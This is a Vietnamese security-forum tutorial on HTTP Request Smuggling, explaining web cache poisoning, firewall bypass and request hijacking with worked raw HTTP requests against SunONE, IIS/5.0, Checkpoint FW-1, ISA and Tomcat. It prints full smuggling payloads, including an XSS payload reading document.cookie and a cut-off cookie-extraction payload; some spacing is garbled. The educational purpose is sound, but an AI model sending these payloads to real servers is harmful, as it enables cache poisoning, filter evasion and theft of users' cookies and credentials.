HTTP Request Smuggling

tepriu

W-------
25/12/2014
0
21 bài viết
HTTP Request Smuggling
Chào các bạn, trong bài viết ngày hôm nay, tôi sẽ trình bày về một lỗ hổng (cũng cũ cũ rồi) liên quan đến cách xử lý header của các HTTP server, tên là HTTP Request Smuggling.

1. Khái niệm, nguyên nhân, mục đích khai thác

1489939945Untitled.jpg

HTTP request smuggling (HRS) là một kỹ thuật tấn công nhằm vào các HTTP server (web server, proxy server). Bất cứ khi nào một HTTP request của client được phân tích bởi nhiều hơn một hệ thống thì đều có khả năng bị HRS. Trong bài viết này, tác giả sẽ giải thích về HRS trong ba trường hợp: (i) khai thác một web cache server được triển khai giữa client và web server; (ii) bypass hệ thống firewall của web server; (iii) khai thác một web proxy server được triển khai giữa client và web server.
Để tiến hành HRS, không nhất thiết ứng dụng web phải có lỗ hổng (chẳng hạn SQL Injection, XSS,...), thay vào đó,nó chỉ cần một sự khác nhau nhỏ trong cách xử lý các HTTP request không hợp lệ của các HTTP server. Kẻ tấn công sẽ gửi đi những HTTP request không hợp lệ để xem phản ứng của hai hệ thống, từ đó, tìm cách bypass bộ lọc của các hệ thống này.
Trong trường hợp giữa cache server và web server, kẻ tấn công có thể đầu độc cache server (cache poisoning). Điển hình là việc thay đổi nội dung lưu trong cache, chẳng hạn website A lại được lưu trữ dưới url B, vì thế khi client muốn truy cập vào website B thì lại nhận được nội dung của website A.
Kẻ tấn công cũng có thể bypass được bộ lọc của Firewall, rồi gửi đi những request độc hại, nhằm tấn công web server.

Trong trường hợp client sử dụng một proxy server chia sẻ kết nối TCP đến web server, một khả năng có thể xảy ra đó là kẻ tấn công gửi request đến server với thông tin của một client khác. Kết hợp với một lỗ hổng của ứng dụng web (chẳng hạn XSS), kẻ tấn công có thể ăn cắp được thông tin của client đó.

2. Một số hướng khai thác

2.1. Web cache poisoning

Đầu tiên, ta sẽ nói đến cách khai thác HRS cơ bản. Giả sử một POST request chứa hai trường “Content-length” trong header với hai giá trị khác nhau. Một số server sẽ từ chối request này (IIS và Apache), nhưng những server khác lại không. Chẳng hạn, SunONE server 6.1 sử dụng trường Content-length đầu tiên, trong khi sunONE proxy 3.6 lại lấy trường Content-length thứ hai.
Giả sử SITE là DNS name của một SunONE server, nằm phía sau một SunONE proxy. Và giả sử “/poison.html” là một trang HTML tĩnh nằm trên server. Dưới đây là hình thức tấn công HRS khai thác sự mâu thuẫn giữa hai server:


1 POST http://SITE/foobar.htmlHTTP/1.1
2 Host: SITE
3 Connection: Keep-Alive
4 Content-Type:application/x-www-form-urlencoded
5 Content-Length: 0
6 Content-Length: 44
7 [CRLF]
8 GET /poison.html HTTP/1.1
9 Host: SITE
10 Bla: [space after the "Bla:", but noCRLF]
11 GET http://SITE/page_to_poison.htmlHTTP/1.1
12 Host: SITE
13 Connection: Keep-Alive

14 [CRLF]
[Chúý rằng mỗi dòng đều kết thúc với một CRLF (“
”),ngoại trừ dòng 10]
Hãy xem chuyện gì sẽ xảy ra khi request được gửi đến web server thông qua proxy server. Trước tiên, proxy sẽ phân tích POST request từ dòng 1 đến dòng 7, và gặp phải hai trường Content-length. Như đã nói ở trên, nó sẽ bỏ qua trường đầu tiên, vì vậy nó hiểu là request sẽ có độ dài là 44 byte. Do đó nó xử lý dữ liệu từ dòng 8 đến 10 như là body của request đầu tiên (từ dòng 8 đến dòng 10 chính xác là 44 byte). Sau đó proxy sẽ phân tích tiếp từ dòng 11 đến 14, và xem đó như là request thứ hai từ phía client.
Bây giờ, hãy xem web server xử lý payload này như thế nào, khi nó được chuyển tiếp bởi proxy. Khác với proxy, webserver lại sử dụng trường Content-length đầu tiên: request đầu tiên sẽ không có body, và request thứ hai bắt đầu từ dòng 8.
Tóm lại, dữ liệu sẽ được hai server xử lý như sau:

1[SUP]st[/SUP]request2[SUP]nd[/SUP]request
SunONEproxyLines1-10Lines11-14
SunONEweb serverLines1-7Lines8-14


Tiếp theo, hãy xem response nào sẽ được gửi trả về cho client. Request mà web server nhận ra đó là “POST/foobar.html” (từ dòng 1) và “GET /poison.html” (từ dòng8), vì thế nó sẽ gửi hai response về cho client lần lượt là nội dung của hai trang foobar.html và poison.html. Proxy lạ ihiểu là có hai request từ phía client là “POST/foobar.html” (dòng 1) và “GET /page_to_poison.html” (từdòng 11). Do đó, nó sẽ lưu trữ ở bộ nhớ cache nội dung của trang poison.html tương ứng với url của trangpage_to_poison.html.

Trường hợp đặc biệt:
Sẽ là nguy hiểm hơn rất nhiều nếu site bị tấn công chia sẻ địa chỉ IP của nó với các site khác (nằm dưới sự kiểm soát của kẻ tấn công). Trong trường hợp này, proxy server có thể sẽ chia sẻ kết nối TCP đến server(được xác định bởi địa chỉ IP của nó). Kẻ tấn công lúc này chỉ cần thiết lập site của anh ta (với một địa chỉ IP giống như của site bị tấn công) và sử dụng trường HOST (dòng 9) để trỏ đến site này (vídụ: “HOST evil.site”). Người dùng có thể bị mắc bẫy, truy cập vào những site giả mạo mà không hề hay biết và có thể mất password hay một số thông tin quan trọng khác.

2.2. Bypass Firewall

Firewall là một hệ thống kiểm soát các kết nối vào ra giữa mạng internet và intranet. Nó có các bộ lọc để đảm bảo an toàn cho server tránh khỏi những request độc hại. Chẳng hạn, HTTP worm catcher là một tập hợp các biểu thức regular expression được xác định trước nhằm phát hiện worms, chẳng hạn nếu có “cmd.exe” trong url, nó sẽ bị loại bỏ ngay. Một ví dụ khác là một bộ lọc không cho phép duyệt thư mục nằm ngoài thư mục web root,ví dụ “/a/b/../p.html thì ok, nhưng “/a/b/../../p.html thì không. Ngoài ra, nó còn có thể lọc được các request bị nghi là đang cố gắng khai thác các lỗ hổng như SQLi, XSS…
Với HRS, ta có thể bypass khỏi những cơ chế bảo vệ được nói ở trên.
Có một lỗi của IIS/5.0 trong việc xử lý một POST request có độ dài lớn: nó âm thầm cắt bỏ nội dung của request nếu request đó lớn hơn 48K (49152 byte). Do đó, bằng việc gửi một POST request đến một trang .asp với độ dài48K+x, ta có thể gửi đi một request có độ dài x byte mà không bị chặn lại bởi firewall.
Giả sử gửi đến server một gói tin như sau:

1 POST /page.asp HTTP/1.1
2 Host: chaim
3 Connection: Keep-Alive
4 Content-Length: 49223
5 [CRLF]
6 zzz...zzz ["z" x 49152]
7 POST /page.asp HTTP/1.0
8 Connection: Keep-Alive
9 Content-Length: 30
10 [CRLF]
11 POST /page.asp HTTP/1.0
12 Bla: [space after the "Bla:", but noCRLF]
13 POST /page.asp?cmd.exe HTTP/1.0
14 Connection: Keep-Alive
15 [CRLF]

[Chúý rằng mỗi dòng đều kết thúc với CRLF (“
”),ngoại trừ dòng 12]
Ta sẽ xem xét gói tin được Checkpoint’s Firewall-1 (FW-1) và IIS/5.0 phân tích như thế nào. Request đầu tiên có Content-length là 49223 byte, FW-1 xử lý dòng 6 (49152 ký tự“z”) và các dòng từ 7 đến 10 như là phần chính của request (49152+71 = 49223). FW-1 sau đó sẽ tiếp tục phân tích request thứ hai bắt đầu từ dòng 11 đến dòng 15 (để ý dòng 12 không có CRLF, vậy nên POST ở dòng 13 sẽ được phân tích với giá trị ở trường “bla” trong dòng 12). Do vậy, mặc dù dòng 13 chứa “cmd.exe”, nhưng nó lại không bị chặn vì không được coi là một url.
Tiếp theo, ta sẽ làm cho IIS/5.0 phân tích dòng 13 như là một url request. Hãy xem IIS/5.0 xử lý gói tin này như thế nào: request đầu tiên là một POST request đến page.asp, nhưng độ dài của request này lại lớn hơn 48K. Do đó, IIS/5.0sẽ kết thúc request thứ nhất sau 48K, và bắt đầu phân tích request thứ hai từ dòng 7. Request này có độ dài 30byte, chính là độ dài của dòng 11 và 12 (tức là hai dòng này là phần chính của request thứ hai). Cuối cùng, dòng 13 đến 15 được phân tích như là request thứ ba. Đến đây, ta đã gửi đi trót lọt request có chứa nội dung cmd.exe.
Bảng sau sẽ tóm tắt việc phân tích gói tin của FW-1 và IIS/5.0:


1[SUP]st[/SUP]request2[SUP]nd[/SUP]request3[SUP]rd[/SUP]request
FW-1R55WLines1-10Lines11-15-
IIS/5.0Lines1-6Lines7-12Line13-15

2.3. Request hijacking

Kỹ thuật request smuggling có thể sửa đổi một chút để đạt được mục tiêu khác: kẻ tấn công có thể khai thác một vấn đề bảo mật trong website (một trang bị lỗi XSS) để tạo một cuộc tân công tương tự XSS, nhưng mạnh hơn bởi vì:
  • Nó không yêu cầu kẻ tấn công phải tiếp xúc trực tiếp với nạn nhân.
  • HttpOnly cookies và HTTP authentication information có thể bị đánh cắp trực tiếp.
Có một số điểm khác biệt giữa Request hijacking và request smuggling cơ bản đã nói ở trên:
  • Request hijacking yêu cầu server trung gian (proxy server) chia sẻ kết nối đến server (không như web cache poisoning, request hijacking không yêu cầu proxy server phải có bộ nhớ cache lưu trữ các website).
  • Request hijacking yêu cầu một lỗ hổng XSS trên web server.
Giả sử trang /vuln_page.jsp bị lỗi XSS ở tham số “data”. Xem xét ví dụ sau:
1 POST /some_script.jsp HTTP/1.0
2 Connection: Keep-Alive
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 9
5 Content-Length: 204
6
7 this=thatPOST /vuln_page.jsp HTTP/1.0
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 95
10
11 param1=value1&data=alert("stealing%20your%20data:"%2bdocument.cookie)&foobar=

Microsoft ISA/2000 proxy server sẽ phân tích gói tin trên như một POST request có độ dài 204 byte (dòng 1 đến 11). Tomcat web server lại hiểu rằng đó là một POST request có độ dài 9 byte (dòng 1 đến 7, bao gồm “this=that” ở dòng 7) và một POST request không đầy đủ, chỉ có 94 byte trong khikhai báo ở content-length là 95 byte (từ dòng 7 đến 11, baogồm cả “this=that” ở dòng 7). Request đầu tiên (request đầy đủ) sẽ có phản hồi từ phía ISA server,còn request thứ hai thì nằm trong hàng đợi của Tomcat.

Khi ISA nhận một request từ phía client (chẳng hạng GET request), nó sẽ chuyển tiếp đến Tomcat, Tomcat sẽ lấy byte đầu tiên bù vào phần thiếu của của request đang nằm trong hàng đợi, và xử lý phần dữ liệu còn lại như là một HTTP request không hợp lệ.
Request lúc trước trở thành:
POST/vuln_page.jsp HTTP/1.0
Content-Type:application/x-www-form-urlencoded
Content-Length:95
param1=value1&data=alert("stealing%20your%20data:"%2bdocument.cookie)&foobar=
G
Clientsẽ nhận được một trang HTML chứa đoạn javascript độchại:
alert("stealingyour data:"+document.cookie)
Nhưng ta vẫn chưa giải thích được việc Http Only cookies và HTTP authentication information bị đánh cắp như thế nào. Vì thế, cần thêm một vài thủ thuật nữa. Như ta thấy, request của hacker được gửi đến trước request của victim. Request của victim thường chứa những dữ liệu mà hacker cần trong HTTP headers, hacker sẽ tính toán cẩn thận Content-length để chứa những dữ liệu này nằm trong dữ liệu được lặp lại trong HTML stream. Một khi dữ liệu này nằm trong trang phản hồi, đoạn code javascript sau sẽ trích xuất nó:
1489939945Untitled.png

Do đó, hacker chỉ cần sửa đổi một chút:


POST/some_script.jsp HTTP/1.0
Connection:Keep-Alive
Content-Type:application/x-www-form-urlencoded
Content-Length:9
Content-Length:388
this=thatPOST/vuln_page.jsp HTTP/1.0
Content-Type:application/x-www-form-urlencoded
Content-Length:577
param1=value1&data=window.onload=function(){str="";for(i=0;i
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Bên trên